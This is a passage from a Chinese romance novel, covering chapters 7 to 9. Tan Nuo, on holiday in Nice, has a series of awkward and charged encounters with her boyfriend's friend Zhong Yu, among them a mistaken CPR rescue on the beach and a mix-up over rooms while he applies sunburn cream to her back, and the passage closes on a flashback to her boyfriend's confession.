确定这个事实以后,谭诺觉得自己应该感到轻松,她跟自己说,她和钟屹相处得本来就尴尬,有他陪着还不如一个人玩得更加自在。 谭诺走了一阵,发现有人在石滩上捡石头于是也蹲了下来看石头。 虽然,谭诺在心里承认,其实有他在,她心里,确实会安心很多。 她一颗一颗地捡着漂亮的石子,只是不知道往哪里装,忽然听到了身后的声音,有人走在石滩上。 她没有回头,只是低头看了一下影子。 那个影子离她越来越近,最后站在了她身前,遮挡住了落在她身上的耀眼阳光。 来人没有说话,谭诺将光滑的石头握在手里,就看到视线前方近在咫尺的真丝材质的睡裤。 一枚石子从手掌心里滑落,谭诺忘记了捡,她仰起头望向站在自己身前的人。 她茫然地仰起头,目光与那双晦暗不明的眼睛撞上。 chap7 为什么? 钟屹在说了不会陪她,也不会再找她之后,还是出现在了她面前。 谭诺抬着头,钟屹挡住了她的光,她其实看不太清他的眼神。 她心里冒出一个念头:钟屹和孙庭誉的友情真是超乎她想象的坚固,想到她之前在钟屹冷脸的时候,对着孙庭誉见缝插针地“挑拨”,“他对着你话也那么少,是不是根本没把你当朋友啊?” 看来,是她狭隘了? 钟屹为了朋友可以做到这个份上,换成她的话,她只会对她的朋友好,管她们的男朋友去死,她才不会爱屋及乌。 适应了光线后,谭诺对上那双无波无澜、看起来还有点厌世的眼睛。 “你是只有睡衣吗?”她好奇地问,“不然去那边买一身短袖短裤吧,我可以送——” 谭诺想说,她可以送他一身衣服当作他两次被迫来找她的礼物,就当是他们破冰的礼物吧。 但是钟屹根本没有给她把话说完整的机会。 “不关你的事。”他看着她的表情复杂。 “不关我的事那你跟过来干嘛?” 谭诺不想和他一般见识,因为这有些不识抬举,毕竟钟屹不管是因为谁,这两天确实帮了她很多,但是他态度太差了。 她随手往钟屹的鞋子上丢了一颗小石子,没想到这石子真的一路顺着鞋面滚进了他的拖鞋里…… 她抬起头,发现钟屹并没有注意到,于是忍住什么也没说,就看到钟屹一脸淡漠。 “怕你出事。”他说。 谭诺听到他的话后,怪异又怀疑地看着他,这句话如果是孙庭誉说,绝对不是这个语气。 果然,她下一秒就听到他又用那种可恶至极的语气:“因为你总是惹事,到时候,尼斯的警察就会第一个找到我,我很烦。” 谭诺不想跟他继续斗嘴。但是听钟屹提起警察,她又不得不想到自己昨天丢失的手机和现金。 “警察找你说不定是找到了我的手机,他们有联系你吗?” 钟屹想了一下后说:“应该找不到了。” 见她头懊丧地低下去,他忽地问:“这个手机不好用么?” “但是那个里面有我存的很多攻略,我都找不到了。”谭诺摇了摇头,“算了,丢掉就丢掉了。” 一直想着这件事只会让她不开心。 她手撑着地面起了身,手里的石子几乎掉干净了,只剩下一两颗还黏在她的掌心里。 身旁,钟屹突然开口: “你想去哪里?” 谭诺看他,“什么?” “你不是不肯回去?”钟屹说话的时候眉心不自在地又皱了一下,他抬手挡住阳光,“那告诉我你想去哪里。” “你带我去吗?” “地图带你去,”他说得十分坦然,“我找不到路。” 谭诺终于找到了嘲笑他的机会,她学着之前钟屹对着她冷笑的样子,不熟练地扯了一边的嘴角。 “你又找不到路,那你有什么用?” 钟屹扫了她一眼,懒得对她拙劣的模仿进行任何评价。 “替你翻译,就不会有刚刚的尴尬了。” 钟屹想,就仅限今天下午,等孙庭誉回来,他就可以把他的麻烦还给孙庭誉。 到时候孙庭誉最好还是带着他的小公主去酒店住,那样比较好。 谭诺一想起那件事就有点羞愧,她不高兴地说:“你好烦,你不是话很少吗?之前见了我也都当我空气,现在怎么话这么多?” “空气没有你这样的存在感,”钟屹直视她,“我也不会无聊到每天出来找空气。” “比喻句你都听不懂吗?”谭诺捂住耳朵,不想再听钟屹说话。 - 不过很快,谭诺没有心思再去计较钟屹的针锋相对。 因为即使阳光刺眼到她的眼睛都快睁不开,身体也被炙烤得发烫发热,她也无法忽视眼前的大海。 太美了,离她远一点的海水颜色是饱和度极高的深蓝,而离她很近的泛着透明的湛蓝,这样的分层真的很像果冻。 “真好看,”谭诺连拍了几张照片发给自己的好朋友,她发自内心地寻找能够直观表达自己感受的句子,“好看到我死了以后想把骨灰撒在这里……” 谭诺希望自己以后死了做鬼也要做一个享受惬意的鬼。 她原本是想和自己未来理想的骨灰盒拍一张纪念照,但是因为没有三脚架,她怎么都没办法拍出理想的效果。 后来,谭诺将主意打到了站在十几米之外,正在打电话的钟屹身上。 她心想,反正钟屹已经心不甘情不愿地来看着她了,再做一点微不足道的小事也是没关系的。 谭诺等了足足五分钟,看到钟屹放下了手机后,她完全没有给自己纠结的时间,立刻小跑到了钟屹面前。 因为光线的关系,她没有注意到钟屹脸上的呆愣,不过在看到她之后,他的表情又变成他平时的模样。 “又想干嘛?”他问。 谭诺直接把手机塞到了钟屹的手上。 “帮我拍照。”她的眼睛在灼热的阳光下亮晶晶的,钟屹也曾见到过这个眼神,在她看着孙庭誉的时候。 “不拍。” 大概是没想到他会回绝得这么迅速,谭诺的眼睛都忘了眨。 “你明知道最后还是会帮我拍,现在拒绝是为了争一口气吗?”谭诺搞不懂。 钟屹无声地注视她,她的表情挟藏着一种顺理成章的天真。 他忽然抱着手臂,嘴角勾了勾,像是在笑,但又带着一点难以言喻的恶意。 “为什么我最后一定会帮你?” 谭诺也被问懵了,再对上钟屹无法形容的表情,对啊,为什么她会这么觉得? 钟屹没有再给她思考的时间,收起笑容,很平静地看着她:“就一张。” 谭诺立刻开开心心地退回到她刚刚就已经挑选好的最佳位置。 一张就一张,她那么上镜,拍一张也可以。 不远处,钟屹对着她的方向举起了手机,谭诺连忙摆出她平常拍照很爱摆的双手捧脸微笑的姿势。 只是,等到她眼睛对上手机背后钟屹那张半死不活的脸,她有点笑不出来了,于是她选择干脆闭上了眼睛。 谭诺听到快门声后,飞快地又跑回钟屹身边。 谭诺接过手机时,难得好心情地说了声“谢谢”。 结果等她点开手机屏幕,看到钟屹给她拍的那张照片后,谭诺气疯了。 “钟屹!” “叫什么?我没聋。” “你怎么能把我拍成这样?”这照片都被他拍得畸变了! 而且他还正好在她笑容变得僵硬,顺势眨了一下眼睛的时候拍的,拍得她像是个乐呵呵的傻子。 钟屹背着光看了一眼,也沉默了下来。 嗯,拍得好像是有点过分。 但是他的神情没有任何变化,说出来的话也同样。 “人什么样,照出来什么样。” “你滚吧。”谭诺气急败坏地说。 钟屹闻言真的点了一下头,做出要走的架势,谭诺却又叫住了他。 她试图让自己冷静,“那我可以再给你一个机会。” 谭诺站在他身侧,再一次把手机递给他。 “我特别缺你给我机会。”钟屹一脸冷淡地说,手却还是接过了谭诺再次递过来的手机。 他看了一眼她已经被晒红了的手臂,接下手机的同时,问:“拍完就回去,是么?” 谭诺目光闪烁,含糊地哼了一声。 钟屹一看,谭诺打开了摄像模式。 “你技术太差了,”谭诺头翘着,很不屑一顾,“我不相信你,所以,你直接对着我拍视频就好,到时候我自己截图。” 她说完话,没注意到钟屹用一种很莫名其妙的眼神看着她,又退回到她刚刚拍照的地点。 一回生二回熟,她这次很快地找到了状态,对着不远处的手机做出她惯常的姿势。 其实无非就是那些姿势,但是每当谭诺做出一个表情时,她真的很难忽视,在给自己拍照的人是钟屹…… 一想到他心里说不定就在腹诽她是个脑残,还是个惹是生非的脑残,她的表情就逐渐僵硬。 很快,在她硬着头皮、努力忽略钟屹,对着镜头做出了一个非常常见俏皮的亲吻表情后,她又略显尴尬地瞟了一眼镜头后的那个人,又是那副一言难尽的表情。 “嘴撅完了?”钟屹将视线从手机屏幕上挪开,“那我们回去。” 谁要跟你回去……谭诺放下了嘴巴,决定放弃用照片记录此时此刻心情的打算。 如果是孙庭誉在的话,她就可以让他随她心意拍个没完了,总结下来:都是孙庭誉的错。 她接过手机后,没有去看钟屹拍的视频,慢悠悠地往前走。 回去以后也只有两件事可以做,要么在房间里睡觉玩手机、要么在客厅和钟屹大眼瞪小眼,谭诺统统不想做。 “要回去你回去吧,我不想回去,”谭诺低下头又开始踢脚下的石头,可惜根本踢不到钟屹。 再往前走,石滩上躺着的裸/晒的人变多了,谭诺的脚也老实了下来,“我讨厌等人,一直等人我会抑郁的。” 说完,她才意识到自己是在跟谁装可怜,这可是从第一次见到她就没有给过她好颜色的钟屹。 钟屹走在她身前,有那么一阵没有出声,半晌他回过头,“说的这么可怜,有谁催你走么?” 谭诺冲着他说,“你上一秒还在催!” “你会听我的?”钟屹问。 “我不会。”谭诺想了一下,也是。 - 距离海岸线没有多远的地方摆了很多蓝色的大遮阳伞,下面是躺椅。 第一排只剩下一个位置,钟屹去了第二排。 “我困了,”钟屹说,他付了钱后,对谭诺指了一下那里,“我在那里休息,没事不要烦我。” 钟屹虽然体温偏低、畏寒,但是被阳光裹挟的感觉,他并不喜欢。 谭诺在第一排离海边最近的躺椅上躺下,桌边上放着她刚买来的鸡尾酒。 孙庭誉给她打来视频电话,谭诺怕吵到身边闭目养神的人,于是将有线耳机插上。 “在做什么?”孙庭誉问。 “海边晒太阳。”谭诺几乎是在用气音说话。 “宝宝是不是没吃饱?怎么那么小声?” “……旁边的人睡着了,”谭诺一看,发现身边躺着两个穿着儿童比基尼,长得像洋娃娃一样的小女孩,她们正用那双碧绿的眼珠子好奇地打量着自己,太可爱了。 孙庭誉见谭诺的脸被晒得红红的,不知道看到了什么忽然笑了一下,他也跟着笑了。 “那里太阳大,不要被烤成脆皮小五花肉。” 谭诺瞪了他一眼,“你才是猪。” 她听到电话那头似乎有人在叫孙庭誉的名字,他大概是开会前抽空给自己打个电话吧。 “你忙去吧,我要看剧了。” “好,回去有东西送你。” 挂掉电话后,谭诺打开了视频软件,只不过她习惯了枕枕头,颈窝下没有可以垫的东西,这让她翻来覆去没那么舒服。 后来她忽然想到了她今天出来时是把比基尼穿在吊带里的,准备到海边躺下的时候就脱掉,但是刚刚一直和钟屹在一起,她便忘了。 她回头看了一眼,钟屹还是维持着之前的姿势,闭着眼睛,大约真的睡着了。 她看了一眼周围的人清凉的穿着,思索了两秒后,终于将吊带裙脱下垫在了脑袋下。 谭诺一脸惬意地点开她每年暑假都会重温的剧集cut,从“光晞不行,他不能捐,让拓也捐”看到了“单均昊跟我交往过,8个字800万”…… 再没有比这更幸福的时刻了。 — 谭诺看了一会儿,摘掉耳机,正想喝一口鸡尾酒,就看到身旁那两个绿眼睛的小女孩已经站到她身侧,看起来已经跟着她看了一会儿电视剧。 她们看起来不小了,不过矮一点的那个嘴里还含着安抚奶嘴。 含着奶嘴的小女孩叫?ldie,她的手指慢慢地在谭诺的胳膊上点了一下,又害羞地缩了回去,捂着自己的嘴巴,谭诺看着只觉得自己的心都要化了。 她是对小孩没感觉,但是可爱又不吵闹的小女孩真让人爱心泛滥。 谭诺试着用简单的英语跟她们聊天,才知道她们的妈妈也在旁边。 “玩,玩。” 谭诺在得到孩子妈妈很热情的允许后,又被拉着去海边捡石子。 - 钟屹觉得自己睡了很沉的一觉,大约过去了一个小时,也可能只过了十分钟。 睡前,他看到谭诺侧躺着玩手机,便闭上了眼睛。 睡梦里,他隐隐约约听到谭诺的笑声,忽远又忽近。 很快,这个声音消失了。 钟屹感到一阵解脱。 钟屹醒来后,拿起手边的矿泉水,往手心里倒了一些,想洗个脸让自己清醒点。 胳膊有些抽筋,水刚触碰到脸,他的视线下意识地往小公主的方向看过去,发现她的躺椅上空了。 不只是她的,她身边的两个躺椅上都空无一人。 钟屹倏地站了起来,往海边看去,谭诺此时真的就躺在沙滩上,有两个女孩一左一右地围着她,正在儿戏地给她做着心肺复苏,而谭诺闭着眼睛,一动也不动…… 钟屹确定这是一场梦,除非她自己想不开跳海,不然根本不可能的。 画面太荒唐了,太荒唐了,但是他的脚步还是不受控制地跑了过去。 钟屹屈膝跪下,一声不吭地将谭诺从小女孩的手里给抱到自己的腿上,?ldie原本想要说话的,但是看到他的脸色难看又吓人,于是不敢出声了。 谭诺的口腔里没有异物,钟屹看似冷静地将谭诺平放在石滩上,双手重叠、十指交扣地按压谭诺的胸骨下方。 该按压多少次?钟屹皱着眉开始回忆,他大学时学过的,但是他想不起来。 掌心因为抽筋失去了力气,就这样按了数十次以后,他身体往前,一只手托住谭诺的颈部,另一只手捏着她的鼻子。 钟屹深吸一口气,就这样倾身向下。 有几滴水顺着他额前的发丝一路往下,有一滴落进了钟屹的眼里,他艰难地眨了一下眼睛,重力拉拽着那滴水,它掉落在谭诺的眼皮上。 就在钟屹的嘴唇几乎就要贴上谭诺的唇上时,或许已经碰上了,又或者还没有,钟屹模糊的视线里是谭诺睁得很大的眼睛。 他们之间的距离太近,近到钟屹无法聚焦,他的视线尽头是谭诺黑色的瞳仁。 他不知道她看了他多久。 忽然间,谭诺将脸侧了过去。 钟屹有一种从噩梦里醒来的感觉。 谭诺醒来了,又或者说,她根本没有事。 钟屹长久地怔愣住,久违地忘记做出任何反应。 许久,钟屹和谭诺的身体隔开了一点距离。 他面无表情地收回捏着谭诺颈部的手,就看到谭诺下一秒不太自在地摸了摸那里。 钟屹不说话,她终于又看向他。 在看到钟屹的眼睛后,谭诺这一下午所有怪异、无解的念头与瞬间像是一齐汇进从钟屹眼里滴下、又落到了她眼皮的那滴水里。 那里还在发热,谭诺还是躺着,又用手背蹭了蹭自己的脸。 她想要开口,但是不知道该说什么,说她其实只是在跟她们玩。但是被她们又捏又按地差点真的睡着,然后他就…… 她应该早一点打断他的,她应该早点睁开眼睛,推开钟屹嘲笑他,但是谭诺没有,因为她忍不住去思考一个问题。 “怎么这么看着我?”钟屹很坦然地对上她的视线,自然到就像是刚刚什么都没有发生过,“你想说什么?” 谭诺依然用那种无法理解的眼神望着钟屹。 我有没有事对你来说,那么重要吗? chap8 “你是不是有点太担心我了?”谭诺迎上钟屹的目光开口。 “我是担心你,”钟屹承认得很快,“不是说了怕警察找上我?还有孙庭誉,他那么爱你,你有事他怎么办?” 谭诺听着他这一句话,不知道为什么,总觉得他说得虚情假意。 可能是因为钟屹笑得很少,又或者她看到的很少,所以他一笑,她总觉得很怪。 “你们在玩?”钟屹站起来后,拍了拍睡衣上黏着的石子,随口问道。 谭诺手撑在铺满了鹅卵石的地面上,身下的石头那么硌人,她刚刚玩心太大,竟然也没什么感觉。 “对。”她们在玩,这是显而易见的吧。 其实是因为谭诺刚刚在看《王子变青蛙》,剧里天瑜几次落水,单均昊给天瑜做了好多次心肺复苏,于是谭诺就跟她们玩了起来。 本来姐姐Eva想拿妹妹Eldie学,但是谭诺看她们的小身板,别到时候闹着玩把彼此胸骨给压断,便自己很开心地躺下,给她们过家家。 她原本是闭着眼睛装晕,但是太阳晒得她昏昏欲睡,结果,她就听到了钟屹的动静。 再然后,钟屹的嘴唇也贴了过来,她身上还只有两块布…… 完了。 她被钟屹抱着放到他腿上时,以谭诺全部的想象力,她能想到的顶多就是他会拍拍她的脸,然后晃一下自己。 她以为是个正常人都能看得出她在和小朋友玩,而钟屹不止没看出来,担心得也太过了,以至于谭诺思索着他的反常,等到他唇贴过来时,她也失去了吓他和嘲笑他的机会…… 谭诺搞不明白钟屹,再看Eldie和Eva两个人的眼睛眨巴着就在她和钟屹身上左右流连,没有敢说话。 谭诺正费劲地想从地上起来,就看到钟屹对她伸出了手。 她仰着头看他,有些犹豫,手抬着还没握住他,钟屹已经反攥住她的手,将她一把拉了起来。 谭诺还没站稳,钟屹已经松了手。 她听到钟屹若无其事的声音。 “所以,这也只是一个误会,”他说。“谭诺,我们两清了。” 他直直地盯着谭诺的眼睛,就明白谭诺根本不知道他说的两清是什么。 他早就猜到。 “什么两清?”谭诺还在神游,她想要把Eldie和Eva也牵起来,听到钟屹的这句话,她一脸迷茫。 钟屹盯着她看了好久,没什么意思地笑了。 “你自己想。” 等到谭诺把两个小女孩拉了起来,再看到钟屹穿着睡衣的背影后,谭诺终于明白,钟屹说的两清指的什么。 “这根本不是一回事!” 她冲着钟屹的背影说道。 刚说完,就看到他回过头,神情淡淡的,谭诺已经无法从这张脸上找到不久前为她紧张狼狈的痕迹。 “去穿衣服,我们走吧。” - 大约是刚发生过一桩略显尴尬的事,这一次谭诺依依不舍地跟Eva和Eldie告别后,跟在他身后,难得地安分起来。 她走之前,将杯子里剩下的鸡尾酒喝了,喝得有点急,她喉咙有点烫烫的。 “孙庭誉说你不喜欢小孩。”钟屹忽然开口。 谭诺觉得他是为了破除他们之间的尴尬氛围,没话找话说。 “但是不包括可爱的小女孩。”谭诺说。 又安静了下来。 谭诺觉得,还是之前谁都不把谁放在眼里的气氛更适合她跟钟屹。 好尴尬好尴尬,她很想找个人倾诉,但是偏偏孙庭誉是她最不能说的人。 不能吗?为什么不能? “为什么不说话了?”钟屹很突兀地开口,打断了谭诺的胡思乱想,“你很不自在?” 谭诺没想到他在发生了这样的事后还能这么怡然自得,“我为什么不自在?” “因为你会想,如果你早点睁开眼睛,什么事都不会发生?”钟屹说。 谭诺心里那点尴尬荡然无存,“发生什么了?哦,谁能想到你这么关心我。” “嗯,我关心你,”钟屹没有一点被戳穿的不自在,“还有呢?” 谭诺突然发现,钟屹的心理素质简直异于常人。 “……还有,你脸皮真的很厚。” - 谭诺原本以为钟屹是要去吃饭,她中午吃的海鲜饭其实还没有消化,一点也不饿,但是他到现在好像就喝了点矿泉水。 但是她一看那个店面,“你为什么要来药妆店买吃的?” 钟屹抱臂看着她:“你感觉不到吗?” 谭诺更为费解,“感觉什么?感觉你有病?” 她问话时表情无辜,但是她知道自己说第二句话时说的真心实意。 钟屹要被她气笑了。 “摸一下你的后背。” 谭诺莫名其妙,但还是按照他的意思往后摸了一下,摸完以后,她望向钟屹的眼神里瞬间布满了惊恐。 “为什么我后面火辣辣的?” “哦,你也知道火辣辣的,我以为你一点感觉都没有。” 钟屹误以为谭诺溺水的时候,刚把她放到自己腿上,就感觉到了。 谭诺又摸了摸后背,那里好烫,她甚至怀疑已经有地方起了水泡。 “我崩——” “又要崩溃了么?”钟屹冷眼打断她,很平静地说,“买完药再崩溃吧。” - 进了药妆店后,谭诺并不认识瓶子上面的字,只能跟着钟屹。 很快,她看到做攻略的时候网友推荐的防脱洗发水,于是往篮子里装了几瓶。 不只是爸爸需要,她的每个好朋友都说要她替她们带一瓶回去。 谭诺选好洗发水后,又走到钟屹身边,看到钟屹还在选。 “我们不用问问医生吗?” “她们不是医生。” “这里面会有激素吗?”她指了一下他手里的那管,“我不要那种有激素的药膏。” 钟屹看了她一眼,“这里面不含糖皮质激素。” “糖皮质是什么?” 钟屹没有管她,放下手里的这罐,准备从下面那排拿一管晒后修复膏。 谭诺在看清他要拿的东西后,忽然想起一件事:“那个是晒后修复吗?那我好像有这个。” 钟屹这时也看向她,“嗯?” 谭诺想起来,醒来时看到孙庭誉留给她的便签贴上写着:防晒霜在床头柜里,晒后修复在冷藏柜。 谭诺走时看了一眼冷藏柜,里面有一瓶和这个一模一样。 “孙庭誉已经给我买了。”她说。 钟屹盯着她看,声音也冷了下来。 “所以,这个不需要了是么?” 谭诺想了一下,还是点头。 “再买不是浪费钱吗?” 钟屹没有说话,将东西放下。 - 往房子的路上走的时候,两个人没再说话。 除开两个人互呛的时候,钟屹本来话就少,如果谭诺也不出声,自然不会再有什么交流了。 谭诺专注地看着眼前一道又一道弯曲无规则的小巷道,也不知道在想什么。 - 谭诺换好鞋子后,犹豫了一下还是不得不出声:“冷藏柜在哪里?” 她出去一趟再回来,这里俨然再次成为一个未知的迷宫,她又什么都找不到了。 钟屹指了一下方向,“那。” “哦。” 谭诺拿到后,看着客厅两边的陈设,陷入了迷茫。 但凡他们在住的房间上贴个牌子,都不至于让她这么茫然。 她正想问,就看到钟屹倒完水后,径直进了右手边的房间。 谭诺安心地往与他相反方向的房间走去。 她只记得昨晚孙庭誉带她进的房间就是钟屹进去的房间正对面。 不过,她一推开门,还有些怀疑自己走错了。 谭诺记得自己走的时候把窗帘拉开了,但是现在,窗帘被拉得密不透风。 她打开一盏灯,光线没那么亮,是更适合夜晚入睡前的光线。 不过,谭诺看得出来床的位置没有什么变化,她试探着叫了一声:“孙庭誉?” 从前,他也有过这样,什么也没说地回国,就在她的卧室等着她发现他。 但是,没有人出声。 大约是保洁阿姨来收拾过了?甚至被套、枕套也换了新的。 孙庭誉跟她说过,他找了保洁阿姨来做日常清理。 他今天走之前似乎也在自己耳边说,东西不用她收拾,有人会收拾。 但是这也收拾得太干净了…… 谭诺都不知道自己放在床头柜的日用品被收到哪里去了。 算了,还是等孙庭誉回来再问好了。 谭诺坐在床上,光线这么暗,她一看自己的胳膊,也能看得出来红得吓人,有一块甚至已经开始起皮了,她都不知道自己的后背变成什么样了? 谭诺先给胳膊涂了一点,透明的膏体一接触到皮肤,冰凉的触感终于让她没有那么难受,只是后背的灼人感疼得她难以忍受。 在石滩上的时候还没有感觉,现在那种疼很像谭诺只经历过一次的牙疼,就像是有人在拿针一下一下地在她背上扎。 她龇牙咧嘴地躺到床上,将身上的吊带裙还有上身的泳衣脱掉扔到了地毯上后,又在手里挤了一堆,往后面抹。 但是不论她从肩膀那里往下涂,还是从后腰开始往上涂,总还有一些她涂不到的地方。 谭诺泄气地瘫着,正想从床头柜抽张面巾纸把手擦干净,再给孙庭誉打个电话,问他到底什么时候回来。 门在这时忽然被打开了。 谭诺瞬间将头埋进枕头里,昭示自己的低情绪。 “你怎么到现在?”她问。 会进这个房间的除了孙庭誉还能是谁。 脚步声在羊绒地毯上发出很沉闷的声音,孙庭誉没有说话,但是谭诺根本没心情去想他是不是因为看到自己后背被晒成这样,在不高兴。 “不要对我说教,快点给我涂药,我自己都够不着。” 谭诺的声音在枕头里传来,闷闷的。 孙庭誉也真的没有说话,安静地走到床侧,拿过被谭诺放在床上的药膏。 放在往常,谭诺可能会问孙庭誉,为什么不说话,不是说有东西给她,那东西呢? 但是她不高兴的时候,是绝对不会做那个先开口的人。 她将脸在枕头上又换了一边的方向,好让自己能够透气。 空气里只剩下透明的膏体从膏管中一点一点挤出的声音,谭诺很想让他动作快一点,但是她不想说话。 很快,床体凹陷了一点,身后的人一条腿半屈地靠在床上。 床有些矮,他胳膊再长,只是这样站着,也碰不到她。 谭诺终于又闻到膏体的味道萦绕着她,她描述不出具体的香味,很淡,就像是置身冰川会闻到的味道。 下一秒,颈窝后的皮肤上终于感受到凉意。 药膏本就在冷藏柜里放着,涂到身上自然带着一点沁凉,但是当身后的人手指的指腹顺着她还没涂过药的地方一路抚过时,谭诺只觉得孙庭誉今天的手也格外的凉,凉到她忽略了他指腹并不那么光滑,关节处还带着一点茧。 之前她过敏时,孙庭誉也曾替她涂过药,只是他体温偏高,药膏在他掌心下没多久就捂热了,但是今天,凉得谭诺很舒服。 舒服得她瑟缩了一下身体,无一声地哼了一声。 孙庭誉涂药的动作停了一瞬,但是很快,他又挤了一点,涂在谭诺后背还没有涂到的地方。 一下又一下、就真的只在涂药。 “涂好了吗?”谭诺趴在床上,想到今晚很可能要一直这个姿势睡,脸也皱了起来,“都怪你。” “涂好了,”身后的人从床上起身,平静地回道。 谭诺在听到这个声音后,脑子一片空白。 根本不是孙庭誉的声音。 空气中一片寂静,谭诺猛地回过头,就看到昏暗的光线里,钟屹将手上的药膏擦干净后,又拧紧了药膏的管子放到一边。 慢条斯理地做完这一切后,他就这样靠在墙边。 见她看过来,他也只是回望:“为什么怪我?” chap9 在看清是钟屹后,谭诺只觉得自己全身的血液都停止了流动。 她慌忙地拉过身下的被子想要遮住自己裸/露的身体,刚刚为了方便涂药,她整个身上只穿了一条内/裤…… “怎么是你?我以为是……是我男朋友。”她磕磕巴巴地说着话,一时之间甚至忘记了孙庭誉的名字,“你怎么能不敲门直接进来?” 意识到刚刚给她涂药的是钟屹,谭诺已经无法说出完整的一句话了。 钟屹自始至终只看着她的眼睛,并没有望向别的地方。 “因为,这是我房间。”他声音淡漠。 “你的房间不是在那边?”谭诺的身体再一次开始发烫,不同于晒伤之后的反应,“我昨晚看到你进了对面的房间。” “那是我的书房。”他说。 谭诺的脑子懵到无法思考,她脑子已经是一团浆糊,但是不对,“那你刚刚——” 钟屹指了一下床边放着的东西。 谭诺看过去,发现是一套干净的居家服。 “我刚刚去更衣间,拿衣服。”他解释时看起来甚至可以称得上十足的耐心,“出了汗,我想洗澡换衣服。” 谭诺的脉搏还在为眼前的一切加速地跳动着,以至于她已经无法思考,但是她看钟屹的眼神,确实不像在撒谎。 “这是我的卧室,”钟屹说完这句后,顿了顿,才说,“你和孙庭誉的房间,在隔壁。” 谭诺的手紧紧抓着被子的一角,所以,钟屹的卧室其实是在他们的隔壁,而对面的两间是他的书房和更衣间,只是他昨晚回来之后就进了书房,这让谭诺误会了。 “我以为这是他的房间,我走错了……”幽暗的黄色灯光下,钟屹也能看出她耳朵的红已经不同于被晒伤的红。 “我知道。”钟屹看起来完全没有要追究的意思。 这栋房子买来时,每个客房都很大,买来后,钟屹按照自己的需求简单地做了改动。 谭诺迷蒙的目光再次望向钟屹,他的瞳孔在光线暗淡的空间内看起来有些幽深,就好像要将她吸进去,身体被涂上药的地方再一次发热,就好像他带茧的指腹还在那里抚过,一直没有离开。 窗外一阵风拂过,将厚重的窗帘微微地掀起一个角,这幽暗的空间内短暂地挤进了尼斯夏日的日光。 那道光就这样掠过床单、掠过谭诺的身体,蓦地将谭诺的思绪拽了回来。 她咬着嘴唇,“可是,你怎么能帮我涂药呢?” 她是他好朋友的女朋友啊。 房间安静了。 许久,钟屹望着她,眼神里是谭诺看不懂的情绪。 “你叫我,所以我帮了。” “那是因为我以为进来的是孙庭誉。”她双手绞着被子。 谭诺在心里努力说服自己,或许是因为钟屹长期生活在这里,这样的亲密程度对他来说没什么。 但是,这根本解释不清。 他不是讨厌她吗?但今天的种种都在冲击着她的认知。 但是这一切都不重要,重要的是她现在要出去,要离开她男朋友最好的朋友的房间。 “我要出去,你……” 钟屹若有所思地看了她一眼后,到浴室里拿了一条毯子。 “裹这个,干净的。” 放下后,他再一次进了卧室自带的浴室,关上了门。 谭诺终于得到喘息的机会,她手忙脚乱地用浴巾把自己裹好后,抓起自己的衣服就往门外走。 淋浴间的门,打开了。 钟屹在她身后将她叫住。 “谭诺。” 谭诺停了下来,但没有回头。 钟屹走到床边,将她遗落下的孙庭誉买给她的药膏捡了起来。 见她背对着自己,钟屹不在意地扯了一下嘴角,又走到她的面前。 他将药膏递到她面前,谭诺没有看他,伸手就要接。 但是等到她已经握住药膏管子的一头,钟屹却并没有松手。 谭诺试图拽了一下,钟屹的胳膊却用了一点力,将她往自己的方向拉了拉。 谭诺终于不得不抬眼看向他,“你想干嘛?” 而钟屹对上她带着点质问的语气,表现得很平静,平静到谭诺没办法对着他发脾气。 他笑了一下,屋外很亮,但是他的身影依然和身后没什么光亮的空间融为了一体。 “我想你,”他盯着她的眼睛,一字一顿地说,“今晚不要打扰我。” 她的身体因着他说话时的目光与语气,泛起了战栗。 说完,钟屹收回了目光,倏地松了手,留谭诺一个人站在原地。 谭诺感觉到自己血管里的血液在跳,因为她知道钟屹在说什么, 钟屹是在说,昨晚她和孙庭誉的动静,打扰到他了。 他让他们今晚不要再做/爱。 - 回到了孙庭誉的房间后,谭诺的呼吸依旧混乱。 她没有解开身上的浴巾,就这样直接地躺到了床上。 十分钟之前,她还以为钟屹住在和自己隔一个很大的客厅的房间,但现在,她知道他就在她隔壁。 这本来也没什么,只是…… 刚刚从钟屹房间往回走的时候,她还有一瞬间在胡乱地联想,假如她从他房间走出来的那一瞬,孙庭誉正好回来了,那她和钟屹到底该怎么解释。 甚至,钟屹在卫生间里,她匆匆地从房间里出来的这个画面竟然惊人地有些熟悉。 闭上眼睛,她又不由自主地想起钟屹下午在天使湾时对她说的话。 他说,“谭诺,我们两清了。” - 谭诺很少主动去回忆被她刻意丢进记忆角落里的和钟屹的第一次见面。 她是趋利避害的人,从不会把有损自己心情的事时时地在脑海里反复地回忆、自我折磨。 那还是五年前,孙庭誉20岁生日的第二天。 生日当天,她被孙庭誉邀请去参加他在江市最大的酒店举办的二十岁生日宴。 那是谭诺高中的最后一个暑假,上大学前,她度过了相当自由快乐的一段时光。 结果就在巨大的蛋糕被推上了台时,孙庭誉却忽然走到她身边,拉起了她的手。 谭诺毫无防备地被孙庭誉一路牵着跑出了宴会厅。 从前也有过谭诺不想去上课,被孙庭誉硬拉着去补习班的时候,但是那时,他总是拉着她的衣袖,又或者是书包的带子。 这一次,他牵着她的手一路跑,谭诺被他拉着跑了好远,本就是夏天,谭诺感觉自己的手已经开始出汗,孙庭誉终于带着她在酒店后的露天花园处停了下来。 谭诺还没有来得及问他发生了什么,就看到花园前的地面上铺满了大片白色的玫瑰花。 谭诺惊讶地看了一眼孙庭誉,又望向眼前的花。 高考以后她报复性地看了好多电视剧。孙庭誉放暑假后来看她,她因为过于沉迷电视剧,连眼神都忘了给他。 画面上男主角准备在婚礼上摆满他喜欢的白玫瑰,谭诺看着花一脸艳羡,“好好看,我也想要。” 这纯属她看剧过度投入时会说的没营养的话,正如她看到别人吃饭吃得很香,即使是她没那么喜欢的食物,她也会手舞足蹈:“我也想吃。” 她其实看完剧后,连白玫瑰的花语都忘记了。 “这些都是送给我的吗?”她眼睛眨了眨,指了指自己问道。 孙庭誉的眼睛带着一丝不易察觉的紧张,还有注视着喜欢的人时才会有的笑意。 “喜欢吗?” 谭诺诚实地说:“喜欢。” 浪漫的东西她都喜欢。 “但是,我们为什么要现在跑过来?” “你不是说,一直很想叛逆一次,在全校开会或者老师上课的时候,众目睽睽之下跑出教室,翘课吗?刚刚人是不是很多?” 这是谭诺上高三时学习学累了崩溃想发疯时说的话,她还记得当时孙庭誉说,包在他身上,但是谭诺根本没有当真,没想到他还记得。 “可是,你爸爸妈妈会骂死你吧,这是你二十岁的生日,还有那么多人来。。” 孙庭誉摇了摇头,看起来毫不在意。 “骂也没关系,我二十岁的生日,只想跟你在一起。”他说。谭诺闻到了淡淡的花香,就听到孙庭誉微微地低下头,看着她的眼睛,问道, “你呢?要不要和我在一起。” 